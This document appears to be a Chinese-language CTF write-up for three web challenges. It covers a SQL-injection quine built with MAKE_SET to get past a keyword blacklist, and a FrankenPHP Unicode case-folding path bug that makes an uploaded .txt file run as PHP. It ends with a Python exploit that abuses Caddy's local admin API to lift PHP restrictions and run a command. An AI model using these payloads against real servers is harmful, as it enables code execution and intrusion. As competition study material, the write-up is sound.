EZQUEEN #
Can you pass the queen’s challenge?
Note: The MySQL service takes a while to start up. You may encounter a 404 error during this period. It may require a few minutes to become fully operational.
源码:
<?php
$host = getenv('DB_HOST') ?: 'mysql';
$db = getenv('DB_NAME') ?: 'app';
$user = getenv('DB_USER') ?: 'appuser';
$pass = getenv('DB_PASS') ?: 'apppass';
$con = @mysqli_connect($host, $user, $pass, $db);
if (!$con) die("DB connect error");
function checkSql($s) {
if(preg_match("/sleep|benchmark|lock|recursive|regexp|rlike|file|eval|update|schema|sys|substr|mid|left|right|replace|concat|insert|export_set|pad|@/i",$s)){
die("hacker!");
}
}
$pwd=$_POST['pwd'] ?? '';
if ($pwd !== '') {
if (strlen($pwd) > 200) die("too long!");
checkSql($pwd);
$sql="SELECT pwd FROM users WHERE username='admin' and pwd='$pwd';";
try {
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) die("wrong password");
if ($row['pwd'] === $pwd) {
die(getenv('FLAG'));
}
die("wrong password");
} catch (Throwable $e) {
die("wrong password");
}
}
else {
highlight_file(__FILE__);
}
要构造查询出来的pwd和你传入的pwd一样的字符串进行比较得到flag,这里也是看了wp学了一下大概需要什么函数,然后自己写写试试
FUNC1 MAKE_SET #
MAKE_SET(bits, str1, str2, …)
把bits转成二进制,哪一位是1就返回对应的字符串。
这里我用的7因为二进制为111刚好返回abc这个结果
SELECT pwd FROM users WHERE username='admin' AND pwd='' UNION SELECT MAKE_SET(7,'a','b','c')
返回值为pwd:a,b,c 可以看到竟然构造出来了这个玩意,接下来我们就要思考如何把我们传入的内容和构造的内容变成一致,这个时候我本来想能不能用information_schema.PROCESSLIST加上截断的但是题目禁用了substr函数,但是我还是想写一下
SELECT pwd FROM users WHERE username='admin' AND pwd='' UNION SELECT CAST(MAKE_SET(2,'a',SUBSTR((SELECT Info from information_schema.PROCESSLIST LIMIT 1),55,300))AS CHAR)
SELECT pwd FROM users WHERE username='admin' AND pwd=''UNION SELECT MAKE_SET(7,'a',QUOTE(b),'c') FROM (SELECT 1,2,3)a(a,b,c)
可以制造一个临时表
SELECT pwd FROM users WHERE username='admin' AND pwd=''UNION SELECT MAKE_SET(7,b,QUOTE(b),a)FROM(SELECT"3)a(a,b,c)#",'\'UNION SELECT MAKE_SET(7,b,QUOTE(b),a)FROM(SELECT"3)a(a,b,c)#"',3)a(a,b,c)#
这里需要注意一下这里必须要三个参数,具体为什么是因为后面构造的时候会多出来一个3的值,因为a的值里面包含了"3)a(a,b,c)#"
EZUPLOAD #
刚开始这个题我大概方向对了,从phpinfo看到了FrankenPHP,想着应该是FrankenPHP在处理文件上存在问题,但是后面没去看了,因为家里有点事出门了 Source:
<?php
$action = $_GET['action'] ?? '';
if ($action === 'create') {
$filename = basename($_GET['filename'] ?? 'phpinfo.php');
file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, '<?php phpinfo(); ?>');
echo "File created.";
} elseif ($action === 'upload') {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
$extension = pathinfo($uploadFile, PATHINFO_EXTENSION);
if ($extension === 'txt') {
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo "File uploaded successfully.";
}
}
}
} else {
highlight_file(__FILE__);
}
很简单的逻辑,就是我们要想怎么让我们上传的txt文件夹被解析或者看有什么绕过方法可以上传上文件,我们先下一个对应版本的FrankenPHP源码
/app/public
PHPVERSION:PHP/8.4.15
DISABLE_FUNCTION
func splitPos(path string, splitPath []string) int {
if len(splitPath) == 0 {
return 0
}
lowerPath := strings.ToLower(path)
for _, split := range splitPath {
if idx := strings.Index(lowerPath, strings.ToLower(split)); idx > -1 {
return idx + len(split)
}
}
return -1
}
在处理path的时候用了ToLower,而对于Unicode字符来说len(lower(s)) != len(s) 具体可以看: https://iter.ca/p/ctf/dctf22-blazingfast/
- Uppercase:
Ⱥ(UTF-8: 0xC8 0xBA – 2 bytes) - Lowercase:
ⱥ(UTF-8: 0xE2 0xB1 0xA5 – 3 bytes) 所以我们假设构造ȺȺȺȺshell.php.txt.php 那么在换成小写的时候就变成了ⱥⱥⱥⱥshell.php.txt.php 在判断类型的时候就会右移4个bytes的位置,则会读取到.php这个后缀 可以自己测试下
package main
import (
"fmt"
"strings"
)
func splitPos(path string, splitPath []string) int {
if len(splitPath) == 0 {
return 0
}
lowerPath := strings.ToLower(path)
fmt.Println(lowerPath)
for _, split := range splitPath {
lowerSplit := strings.ToLower(split)
if idx := strings.Index(lowerPath, lowerSplit); idx > -1 {
return idx + len(split)
}
}
return -1
}
func main() {
tests := []string{
"/upload/config/ȺȺȺȺshell.php.txt.php",
}
splitPath := []string{".php"}
for _, path := range tests {
pos := splitPos(path, splitPath)
fmt.Printf("path: %-30s splitPos: %d\n", path, pos)
if pos != -1 {
fmt.Println(" SCRIPT_NAME:", path[:pos])
fmt.Println(" PATH_INFO :", path[pos:])
}
fmt.Println()
}
}
Caddy Web #
也是第一次看到Caddy这个东西
$ini = [
"disable_functions" => "",
"open_basedir" => "/",
];
$ctx = stream_context_create([
"http" => [
"method" => "PUT",
"header" => "Content-Type: application/json\r\n",
"content" => json_encode($ini),
"ignore_errors" => true,
],
]);
file_get_contents("http://127.0.0.1:2019/config/apps/frankenphp/php_ini", false, $ctx);
所以最后exp:
import requests
PHP = '''
<?php
$ini = [
"disable_functions" => "",
"open_basedir" => "/",
];
$ctx = stream_context_create([
"http" => [
"method" => "PUT",
"header" => "Content-Type: application/json\r\n",
"content" => json_encode($ini),
"ignore_errors" => true,
],
]);
file_get_contents("http://127.0.0.1:2019/config/apps/frankenphp/php_ini", false, $ctx);
echo eval(system("/readflag"));
?>
'''
target = 'http://kxt947fmp2gyp743.instance.penguin.0ops.sjtu.cn:18080/'
files = {
'file': ('İİİİphpinfo.txt', PHP, 'application/octet-stream'),
}
r = requests.post(target + '?action=upload', files=files)
print(r.text)
url = f'{target}/?action=create&filename=İİİİphpinfo.txt.php'
r = requests.get(url)
print(r.text)
url = f'{target}/İİİİphpinfo.txt.php'
r = requests.get(url)
print(r.text)